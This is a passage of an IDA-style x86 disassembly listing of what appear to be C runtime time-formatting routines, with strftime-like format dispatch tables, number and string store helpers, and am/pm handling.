dword_4F4B20, 1 mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_438AE8: ; CODE XREF: sub_438A30+A3j mov ecx, [ebp+var_4] push ecx lea edx, [ebp+var_C] push edx lea eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] mov al, [edx] push eax call sub_438BC0 add esp, 14h mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx jmp short loc_438B7E ; --------------------------------------------------------------------------- loc_438B11: ; CODE XREF: sub_438A30+80j mov edx, [ebp+arg_8] xor eax, eax mov al, [edx] mov ecx, off_454E04 xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_438B59 cmp [ebp+var_C], 1 jbe short loc_438B59 mov eax, [ebp+arg_0] mov ecx, [ebp+arg_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx loc_438B59: ; CODE XREF: sub_438A30+FCj ; sub_438A30+102j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx loc_438B7E: ; CODE XREF: sub_438A30+DFj jmp loc_438A92 ; --------------------------------------------------------------------------- loc_438B83: ; CODE XREF: sub_438A30+66j ; sub_438A30:loc_438AB2j cmp [ebp+var_8], 0 jz short loc_438B95 push 13h call __unlock add esp, 4 jmp short loc_438BA0 ; --------------------------------------------------------------------------- loc_438B95: ; CODE XREF: sub_438A30+157j push offset dword_4F4C48 call ds:dword_4F64B8 ; InterlockedDecrement loc_438BA0: ; CODE XREF: sub_438A30+163j cmp [ebp+var_C], 0 jbe short loc_438BB4 mov eax, [ebp+arg_0] mov byte ptr [eax], 0 mov eax, [ebp+arg_4] sub eax, [ebp+var_C] jmp short loc_438BB6 ; --------------------------------------------------------------------------- loc_438BB4: ; CODE XREF: sub_438A30+174j xor eax, eax loc_438BB6: ; CODE XREF: sub_438A30+182j mov esp, ebp pop ebp retn sub_438A30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_438BC0 proc near ; CODE XREF: sub_438A30+CEp ; sub_439390+486p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch push esi movsx eax, [ebp+arg_0] mov [ebp+var_C], eax mov ecx, [ebp+var_C] sub ecx, 25h mov [ebp+var_C], ecx cmp [ebp+var_C], 55h ja loc_439128 mov eax, [ebp+var_C] xor edx, edx mov dl, ds:byte_439189[eax] jmp ds:off_43912D[edx*4] loc_438BF3: ; DATA XREF: .text:0043915Do mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+18h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4] push eax call __store_str add esp, 0Ch jmp loc_439128 ; --------------------------------------------------------------------------- loc_438C15: ; CODE XREF: sub_438BC0+2Cj ; DATA XREF: .text:00439131o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+18h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+1Ch] push eax call __store_str add esp, 0Ch jmp loc_439128 ; --------------------------------------------------------------------------- loc_438C38: ; CODE XREF: sub_438BC0+2Cj ; DATA XREF: .text:00439161o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+10h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+38h] push eax call __store_str add esp, 0Ch jmp loc_439128 ; --------------------------------------------------------------------------- loc_438C5B: ; CODE XREF: sub_438BC0+2Cj ; DATA XREF: .text:00439135o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+10h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+68h] push eax call __store_str add esp, 0Ch jmp loc_439128 ; --------------------------------------------------------------------------- loc_438C7E: ; CODE XREF: sub_438BC0+2Cj ; DATA XREF: .text:00439165o cmp dword_4F4B20, 0 jz short loc_438D06 mov dword_4F4B20, 0 mov ecx, [ebp+arg_10] push ecx ; int mov edx, [ebp+arg_C] push edx ; int mov eax, [ebp+arg_8] push eax ; int mov ecx, [ebp+arg_4] push ecx ; int mov edx, [ebp+arg_10] mov eax, [edx+0A4h] push eax ; Str1 call sub_439390 add esp, 14h mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jnz short loc_438CC0 jmp loc_439128 ; --------------------------------------------------------------------------- loc_438CC0: ; CODE XREF: sub_438BC0+F9j mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 20h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx mov ecx, [ebp+arg_10] push ecx ; int mov edx, [ebp+arg_C] push edx ; int mov eax, [ebp+arg_8] push eax ; int mov ecx, [ebp+arg_4] push ecx ; int mov edx, [ebp+arg_10] mov eax, [edx+0A8h] push eax ; Str1 call sub_439390 add esp, 14h jmp short loc_438D79 ; --------------------------------------------------------------------------- loc_438D06: ; CODE XREF: sub_438BC0+C5j mov ecx, [ebp+arg_10] push ecx ; int mov edx, [ebp+arg_C] push edx ; int mov eax, [ebp+arg_8] push eax ; int mov ecx, [ebp+arg_4] push ecx ; int mov edx, [ebp+arg_10] mov eax, [edx+0A0h] push eax ; Str1 call sub_439390 add esp, 14h mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jnz short loc_438D35 jmp loc_439128 ; --------------------------------------------------------------------------- loc_438D35: ; CODE XREF: sub_438BC0+16Ej mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 20h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx mov ecx, [ebp+arg_10] push ecx ; int mov edx, [ebp+arg_C] push edx ; int mov eax, [ebp+arg_8] push eax ; int mov ecx, [ebp+arg_4] push ecx ; int mov edx, [ebp+arg_10] mov eax, [edx+0A8h] push eax ; Str1 call sub_439390 add esp, 14h loc_438D79: ; CODE XREF: sub_438BC0+144j jmp loc_439128 ; --------------------------------------------------------------------------- loc_438D7E: ; CODE XREF: sub_438BC0+2Cj ; DATA XREF: .text:00439169o mov ecx, dword_4F4B20 mov dword_4F4B24, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+arg_4] mov edx, [ecx+0Ch] push edx call __store_num add esp, 10h jmp loc_439128 ; --------------------------------------------------------------------------- loc_438DA8: ; CODE XREF: sub_438BC0+2Cj ; DATA XREF: .text:00439139o mov eax, dword_4F4B20 mov dword_4F4B24, eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 2 mov eax, [ebp+arg_4] mov ecx, [eax+8] push ecx call __store_num add esp, 10h jmp loc_439128 ; --------------------------------------------------------------------------- loc_438DD0: ; CODE XREF: sub_438BC0+2Cj ; DATA XREF: .text:0043913Do mov edx, dword_4F4B20 mov dword_4F4B24, edx mov eax, [ebp+arg_4] mov eax, [eax+8] cdq mov ecx, 0Ch idiv ecx mov [ebp+var_4], edx cmp [ebp+var_4], 0 jnz short loc_438DFA mov [ebp+var_4], 0Ch loc_438DFA: ; CODE XREF: sub_438BC0+231j mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+var_4] push ecx call __store_num add esp, 10h jmp loc_439128 ; --------------------------------------------------------------------------- loc_438E15: ; CODE XREF: sub_438BC0+2Cj ; DATA XREF: .text:0043916Do mov edx, dword_4F4B20 mov dword_4F4B24, edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 3 mov edx, [ebp+arg_4] mov eax, [edx+1Ch] add eax, 1 push eax call __store_num add esp, 10h jmp loc_439128 ; --------------------------------------------------------------------------- loc_438E42: ; CODE XREF: sub_438BC0+2Cj ; DATA XREF: .text:00439171o mov ecx, dword_4F4B20 mov dword_4F4B24, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+arg_4] mov edx, [ecx+10h] add edx, 1 push edx call __store_num add esp, 10h jmp loc_439128 ; --------------------------------------------------------------------------- loc_438E6F: ; CODE XREF: sub_438BC0+2Cj ; DATA XREF: .text:00439141o mov eax, dword_4F4B20 mov dword_4F4B24, eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 2 mov eax, [ebp+arg_4] mov ecx, [eax+4] push ecx call __store_num add esp, 10h jmp loc_439128 ; --------------------------------------------------------------------------- loc_438E97: ; CODE XREF: sub_438BC0+2Cj ; DATA XREF: .text:00439175o mov edx, [ebp+arg_4] cmp dword ptr [edx+8], 0Bh jg short loc_438EBC mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_10] mov eax, [edx+98h] push eax call __store_str add esp, 0Ch jmp short loc_438ED6 ; --------------------------------------------------------------------------- loc_438EBC: ; CODE XREF: sub_438BC0+2DEj mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_10] mov ecx, [eax+9Ch] push ecx call __store_str add esp, 0Ch loc_438ED6: ; CODE XREF: sub_438BC0+2FAj jmp loc_439128 ; --------------------------------------------------------------------------- loc_438EDB: ; CODE XREF: sub_438BC0+2Cj ; DATA XREF: .text:00439145o mov edx, dword_4F4B20 mov dword_4F4B24, edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 2 mov edx, [ebp+arg_4] mov eax, [edx] push eax call __store_num add esp, 10h jmp loc_439128 ; --------------------------------------------------------------------------- loc_438F04: ; CODE XREF: sub_438BC0+2Cj ; DATA XREF: .text:00439149o mov ecx, dword_4F4B20 mov dword_4F4B24, ecx mov edx, [ebp+arg_4] mov eax, [edx+18h] mov [ebp+var_8], eax jmp short loc_438F6D ; --------------------------------------------------------------------------- loc_438F1B: ; CODE XREF: sub_438BC0+2Cj ; DATA XREF: .text:00439179o mov ecx, dword_4F4B20 mov dword_4F4B24, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 1 mov ecx, [ebp+arg_4] mov edx, [ecx+18h] push edx call __store_num add esp, 10h jmp loc_439128 ; --------------------------------------------------------------------------- loc_438F45: ; CODE XREF: sub_438BC0+2Cj ; DATA XREF: .text:0043914Do mov eax, dword_4F4B20 mov dword_4F4B24, eax mov ecx, [ebp+arg_4] cmp dword ptr [ecx+18h], 0 jnz short loc_438F61 mov [ebp+var_8], 6 jmp short loc_438F6D ; --------------------------------------------------------------------------- loc_438F61: ; CODE XREF: sub_438BC0+396j mov edx, [ebp+arg_4] mov eax, [edx+18h] sub eax, 1 mov [ebp+var_8], eax loc_438F6D: ; CODE XREF: sub_438BC0+359j ; sub_438BC0+39Fj mov ecx, [ebp+arg_4] mov edx, [ecx+1Ch] cmp edx, [ebp+var_8] jge short loc_438F81 mov [ebp+var_4], 0 jmp short loc_438FAE ; --------------------------------------------------------------------------- loc_438F81: ; CODE XREF: sub_438BC0+3B6j mov eax, [ebp+arg_4] mov eax, [eax+1Ch] cdq mov ecx, 7 idiv ecx mov [ebp+var_4], eax mov edx, [ebp+arg_4] mov eax, [edx+1Ch] cdq mov ecx, 7 idiv ecx cmp edx, [ebp+var_8] jl short loc_438FAE mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_438FAE: ; CODE XREF: sub_438BC0+3BFj ; sub_438BC0+3E3j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 2 mov edx, [ebp+var_4] push edx call __store_num add esp, 10h jmp loc_439128 ; --------------------------------------------------------------------------- loc_438FC9: ; CODE XREF: sub_438BC0+2Cj ; DATA XREF: .text:0043917Do cmp dword_4F4B20, 0 jz short loc_439000 mov dword_4F4B20, 0 mov eax, [ebp+arg_10] push eax ; int mov ecx, [ebp+arg_C] push ecx ; int mov edx, [ebp+arg_8] push edx ; int mov eax, [ebp+arg_4] push eax ; int mov ecx, [ebp+arg_10] mov edx, [ecx+0A4h] push edx ; Str1 call sub_439390 add esp, 14h jmp short loc_439022 ; --------------------------------------------------------------------------- loc_439000: ; CODE XREF: sub_438BC0+410j mov eax, [ebp+arg_10] push eax ; int mov ecx, [ebp+arg_C] push ecx ; int mov edx, [ebp+arg_8] push edx ; int mov eax, [ebp+arg_4] push eax ; int mov ecx, [ebp+arg_10] mov edx, [ecx+0A0h] push edx ; Str1 call sub_439390 add esp, 14h loc_439022: ; CODE XREF: sub_438BC0+43Ej jmp loc_439128 ; --------------------------------------------------------------------------- loc_439027: ; CODE XREF: sub_438BC0+2Cj ; DATA XREF: .text:00439151o mov dword_4F4B20, 0 mov eax, [ebp+arg_10] push eax ; int mov ecx, [ebp+arg_C] push ecx ; int mov edx, [ebp+arg_8] push edx ; int mov eax, [ebp+arg_4] push eax ; int mov ecx, [ebp+arg_10] mov edx, [ecx+0A8h] push edx ; Str1 call sub_439390 add esp, 14h jmp loc_439128 ; --------------------------------------------------------------------------- loc_439058: ; CODE XREF: sub_438BC0+2Cj ; DATA XREF: .text:00439181o mov eax, dword_4F4B20 mov dword_4F4B24, eax mov ecx, [ebp+arg_4] mov eax, [ecx+14h] cdq mov ecx, 64h idiv ecx mov [ebp+var_4], edx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+var_4] push ecx call __store_num add esp, 10h jmp loc_439128 ; --------------------------------------------------------------------------- loc_43908E: ; CODE XREF: sub_438BC0+2Cj ; DATA XREF: .text:00439155o mov edx, dword_4F4B20 mov dword_4F4B24, edx mov eax, [ebp+arg_4] mov eax, [eax+14h] cdq mov ecx, 64h idiv ecx mov ecx, eax add ecx, 13h imul ecx, 64h mov edx, [ebp+arg_4] mov eax, [edx+14h] cdq mov esi, 64h idiv esi add ecx, edx mov [ebp+var_4], ecx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 4 mov edx, [ebp+var_4] push edx call __store_num add esp, 10h jmp short loc_439128 ; --------------------------------------------------------------------------- loc_4390DB: ; CODE XREF: sub_438BC0+2Cj ; DATA XREF: .text:00439159o call ___tzset mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] xor eax, eax cmp dword ptr [edx+20h], 0 setnz al mov ecx, off_455734[eax*4] push ecx call __store_str add esp, 0Ch jmp short loc_439128 ; --------------------------------------------------------------------------- loc_439106: ; CODE XREF: sub_438BC0+2Cj ; DATA XREF: .text:off_43912Do mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 25h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx loc_439128: ; CODE XREF: sub_438BC0+1Bj ; sub_438BC0+2Cj ... pop esi mov esp, ebp pop ebp retn sub_438BC0 endp ; --------------------------------------------------------------------------- off_43912D dd offset loc_439106 ; DATA XREF: sub_438BC0+2Cr dd offset loc_438C15 dd offset loc_438C5B dd offset loc_438DA8 dd offset loc_438DD0 dd offset loc_438E6F dd offset loc_438EDB dd offset loc_438F04 dd offset loc_438F45 dd offset loc_439027 dd offset loc_43908E dd offset loc_4390DB dd offset loc_438BF3 dd offset loc_438C38 dd offset loc_438C7E dd offset loc_438D7E dd offset loc_438E15 dd offset loc_438E42 dd offset loc_438E97 dd offset loc_438F1B dd offset loc_438FC9 dd offset loc_439058 dd offset loc_439128 byte_439189 db 0 ; DATA XREF: sub_438BC0+26r dw 1616h dd 6 dup(16161616h), 16020116h, 16161616h, 16160403h, 16160516h dd 6161616h, 8160716h, 160B0A09h, 16161616h, 0E0D0C16h dd 1616160Fh, 16101616h, 16161116h, 16161612h, 13161616h dd 0CC0B1514h ; [00000048 BYTES: COLLAPSED FUNCTION __store_str. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000AD BYTES: COLLAPSED FUNCTION __store_num. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000AC BYTES: COLLAPSED FUNCTION __store_number. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_439390(char *Str1,int,int,int,int) sub_439390 proc near ; CODE XREF: sub_438BC0+EBp ; sub_438BC0+13Cp ... var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 Str1 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 30h loc_439396: ; CODE XREF: sub_439390+383j ; sub_439390:loc_4397F5j ... mov eax, [ebp+Str1] movsx ecx, byte ptr [eax] test ecx, ecx jz loc_4398A5 mov edx, [ebp+arg_C] cmp dword ptr [edx], 0 jz loc_4398A5 mov [ebp+var_8], 0 mov dword_4F4B24, 0 mov [ebp+var_C], 0 mov eax, [ebp+Str1] mov [ebp+var_4], eax jmp short loc_4393D6 ; --------------------------------------------------------------------------- loc_4393CD: ; CODE XREF: sub_439390+5Fj mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_4393D6: ; CODE XREF: sub_439390+3Bj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] mov ecx, [ebp+Str1] movsx edx, byte ptr [ecx] mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx cmp eax, edx jnz short loc_4393F1 jmp short loc_4393CD ; --------------------------------------------------------------------------- loc_4393F1: ; CODE XREF: sub_439390+5Dj mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+Str1] movsx ecx, byte ptr [eax] mov [ebp+var_14], ecx mov edx, [ebp+var_14] sub edx, 27h mov [ebp+var_14], edx cmp [ebp+var_14], 52h ja loc_4397FA mov ecx, [ebp+var_14] xor eax, eax mov al, ds:byte_4398D5[ecx] jmp ds:off_4398A9[eax*4] loc_439428: ; DATA XREF: .text:004398B5o mov edx, [ebp+var_C] mov [ebp+var_18], edx mov eax, [ebp+var_18] sub eax, 1 mov [ebp+var_18], eax cmp [ebp+var_18], 3 ja short loc_439461 mov ecx, [ebp+var_18] jmp ds:off_439928[ecx*4] loc_439447: ; DATA XREF: .text:off_439928o mov dword_4F4B24, 1 loc_439451: ; CODE XREF: sub_439390+B0j ; DATA XREF: .text:0043992Co mov [ebp+var_8], 6Dh jmp short loc_439461 ; --------------------------------------------------------------------------- loc_439457: ; CODE XREF: sub_439390+B0j ; DATA XREF: .text:00439930o mov [ebp+var_8], 62h jmp short loc_439461 ; --------------------------------------------------------------------------- loc_43945D: ; CODE XREF: sub_439390+B0j ; DATA XREF: .text:00439934o mov [ebp+var_8], 42h loc_439461: ; CODE XREF: sub_439390+ABj ; sub_439390+C5j ... jmp loc_4397FA ; --------------------------------------------------------------------------- loc_439466: ; CODE XREF: sub_439390+91j ; DATA XREF: .text:004398B9o mov edx, [ebp+var_C] mov [ebp+var_1C], edx mov eax, [ebp+var_1C] sub eax, 1 mov [ebp+var_1C], eax cmp [ebp+var_1C], 3 ja short loc_43949F mov ecx, [ebp+var_1C] jmp ds:off_439938[ecx*4] loc_439485: ; CODE XREF: sub_439390+B0j ; DATA XREF: .text:off_439938o mov dword_4F4B24, 1 loc_43948F: ; CODE XREF: sub_439390+B0j ; sub_439390+EEj ; DATA XREF: ... mov [ebp+var_8], 64h jmp short loc_43949F ; --------------------------------------------------------------------------- loc_439495: ; CODE XREF: sub_439390+B0j ; sub_439390+EEj ; DATA XREF: ... mov [ebp+var_8], 61h jmp short loc_43949F ; --------------------------------------------------------------------------- loc_43949B: ; CODE XREF: sub_439390+B0j ; sub_439390+EEj ; DATA XREF: ... mov [ebp+var_8], 41h loc_43949F: ; CODE XREF: sub_439390+E9j ; sub_439390+103j ... jmp loc_4397FA ; --------------------------------------------------------------------------- loc_4394A4: ; CODE XREF: sub_439390+91j ; DATA XREF: .text:004398CDo mov edx, [ebp+var_C] mov [ebp+var_20], edx cmp [ebp+var_20], 2 jz short loc_4394B8 cmp [ebp+var_20], 4 jz short loc_4394BE jmp short loc_4394C2 ; --------------------------------------------------------------------------- loc_4394B8: ; CODE XREF: sub_439390+11Ej mov [ebp+var_8], 79h jmp short loc_4394C2 ; --------------------------------------------------------------------------- loc_4394BE: ; CODE XREF: sub_439390+124j mov [ebp+var_8], 59h loc_4394C2: ; CODE XREF: sub_439390+126j ; sub_439390+12Cj jmp loc_4397FA ; --------------------------------------------------------------------------- loc_4394C7: ; CODE XREF: sub_439390+91j ; DATA XREF: .text:004398BDo mov eax, [ebp+var_C] mov [ebp+var_24], eax cmp [ebp+var_24], 1 jz short loc_4394DB cmp [ebp+var_24], 2 jz short loc_4394E5 jmp short loc_4394E9 ; --------------------------------------------------------------------------- loc_4394DB: ; CODE XREF: sub_439390+141j mov dword_4F4B24, 1 loc_4394E5: ; CODE XREF: sub_439390+147j mov [ebp+var_8], 49h loc_4394E9: ; CODE XREF: sub_439390+149j jmp loc_4397FA ; --------------------------------------------------------------------------- loc_4394EE: ; CODE XREF: sub_439390+91j ; DATA XREF: .text:004398B1o mov ecx, [ebp+var_C] mov [ebp+var_28], ecx cmp [ebp+var_28], 1 jz short loc_439502 cmp [ebp+var_28], 2 jz short loc_43950C jmp short loc_439510 ; --------------------------------------------------------------------------- loc_439502: ; CODE XREF: sub_439390+168j mov dword_4F4B24, 1 loc_43950C: ; CODE XREF: sub_439390+16Ej mov [ebp+var_8], 48h loc_439510: ; CODE XREF: sub_439390+170j jmp loc_4397FA ; --------------------------------------------------------------------------- loc_439515: ; CODE XREF: sub_439390+91j ; DATA XREF: .text:004398C1o mov edx, [ebp+var_C] mov [ebp+var_2C], edx cmp [ebp+var_2C], 1 jz short loc_439529 cmp [ebp+var_2C], 2 jz short loc_439533 jmp short loc_439537 ; --------------------------------------------------------------------------- loc_439529: ; CODE XREF: sub_439390+18Fj mov dword_4F4B24, 1 loc_439533: ; CODE XREF: sub_439390+195j mov [ebp+var_8], 4Dh loc_439537: ; CODE XREF: sub_439390+197j jmp loc_4397FA ; --------------------------------------------------------------------------- loc_43953C: ; CODE XREF: sub_439390+91j ; DATA XREF: .text:004398C5o mov eax, [ebp+var_C] mov [ebp+var_30], eax cmp [ebp+var_30], 1 jz short loc_439550 cmp [ebp+var_30], 2 jz short loc_43955A jmp short loc_43955E ; --------------------------------------------------------------------------- loc_439550: ; CODE XREF: sub_439390+1B6j mov dword_4F4B24, 1 loc_43955A: ; CODE XREF: sub_439390+1BCj mov [ebp+var_8], 53h loc_43955E: ; CODE XREF: sub_439390+1BEj jmp loc_4397FA ; --------------------------------------------------------------------------- loc_439563: ; CODE XREF: sub_439390+91j ; DATA XREF: .text:004398ADo push offset aAmPm ; "am/pm" mov ecx, [ebp+Str1] push ecx ; Str1 call __strcmpi add esp, 8 test eax, eax jnz short loc_439583 mov edx, [ebp+Str1] add edx, 5 mov [ebp+var_4], edx jmp short loc_4395A1 ; --------------------------------------------------------------------------- loc_439583: ; CODE XREF: sub_439390+1E6j push offset aAP ; "a/p" mov eax, [ebp+Str1] push eax ; Str1 call __strcmpi add esp, 8 test eax, eax jnz short loc_4395A1 mov ecx, [ebp+Str1] add ecx, 3 mov [ebp+var_4], ecx loc_4395A1: ; CODE XREF: sub_439390+1F1j ; sub_439390+206j mov [ebp+var_8], 70h jmp loc_4397FA ; --------------------------------------------------------------------------- loc_4395AA: ; CODE XREF: sub_439390+91j ; DATA XREF: .text:004398C9o mov edx, [ebp+arg_4] cmp dword ptr [edx+8], 0Bh jg short loc_4395C1 mov eax, [ebp+arg_10] mov ecx, [eax+98h] mov [ebp+var_10], ecx jmp short loc_4395CD ; --------------------------------------------------------------------------- loc_4395C1: ; CODE XREF: sub_439390+221j mov edx, [ebp+arg_10] mov eax, [edx+9Ch] mov [ebp+var_10], eax loc_4395CD: ; CODE XREF: sub_439390+22Fj cmp [ebp+var_C], 1 jnz loc_43966B mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jbe loc_43966B mov edx, [ebp+var_10] xor eax, eax mov al, [edx] mov ecx, off_454E04 xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_439637 mov eax, [ebp+arg_C] cmp dword ptr [eax], 1 jbe short loc_439637 mov ecx, [ebp+arg_8] mov edx, [ecx] mov eax, [ebp+var_10] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_8] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx mov eax, [ebp+arg_C] mov ecx, [eax] sub ecx, 1 mov edx, [ebp+arg_C] mov [edx], ecx loc_439637: ; CODE XREF: sub_439390+26Ej ; sub_439390+276j mov eax, [ebp+arg_8] mov ecx, [eax] mov edx, [ebp+var_10] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx mov edx, [ebp+arg_C] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax jmp loc_43970D ; --------------------------------------------------------------------------- loc_43966B: ; CODE XREF: sub_439390+241j ; sub_439390+24Dj ... mov edx, [ebp+var_10] movsx eax, byte ptr [edx] test eax, eax jz loc_43970D mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jbe loc_43970D mov edx, [ebp+var_10] xor eax, eax mov al, [edx] mov ecx, off_454E04 xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_4396D9 mov eax, [ebp+arg_C] cmp dword ptr [eax], 1 jbe short loc_4396D9 mov ecx, [ebp+arg_8] mov edx, [ecx] mov eax, [ebp+var_10] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_8] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx mov eax, [ebp+arg_C] mov ecx, [eax] sub ecx, 1 mov edx, [ebp+arg_C] mov [edx], ecx loc_4396D9: ; CODE XREF: sub_439390+310j ; sub_439390+318j mov eax, [ebp+arg_8] mov ecx, [eax] mov edx, [ebp+var_10] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx mov edx, [ebp+arg_C] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax jmp loc_43966B ; --------------------------------------------------------------------------- loc_43970D: ; CODE XREF: sub_439390+2D6j ; sub_439390+2E3j ... mov edx, [ebp+var_4] mov [ebp+Str1], edx jmp loc_439396 ; --------------------------------------------------------------------------- loc_439718: ; CODE XREF: sub_439390+91j ; DATA XREF: .text:off_4398A9o mov eax, [ebp+var_C] and eax, 1 test eax, eax jz loc_4397EC mov ecx, [ebp+Str1] add ecx, [ebp+var_C] mov [ebp+Str1], ecx loc_43972F: ; CODE XREF: sub_439390+455j mov edx, [ebp+Str1] movsx eax, byte ptr [edx] test eax, eax jz loc_4397EA mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jz loc_4397EA mov edx, [ebp+Str1] movsx eax, byte ptr [edx] cmp eax, 27h jnz short loc_439762 mov ecx, [ebp+Str1] add ecx, 1 mov [ebp+Str1], ecx jmp loc_4397EA ; --------------------------------------------------------------------------- loc_439762: ; CODE XREF: sub_439390+3C2j mov edx, [ebp+Str1] xor eax, eax mov al, [edx] mov ecx, off_454E04 xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_4397B6 mov eax, [ebp+arg_C] cmp dword ptr [eax], 1 jbe short loc_4397B6 mov ecx, [ebp+arg_8] mov edx, [ecx] mov eax, [ebp+Str1] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_8] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax mov edx, [ebp+Str1] add edx, 1 mov [ebp+Str1], edx mov eax, [ebp+arg_C] mov ecx, [eax] sub ecx, 1 mov edx, [ebp+arg_C] mov [edx], ecx loc_4397B6: ; CODE XREF: sub_439390+3EDj ; sub_439390+3F5j mov eax, [ebp+arg_8] mov ecx, [eax] mov edx, [ebp+Str1] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] 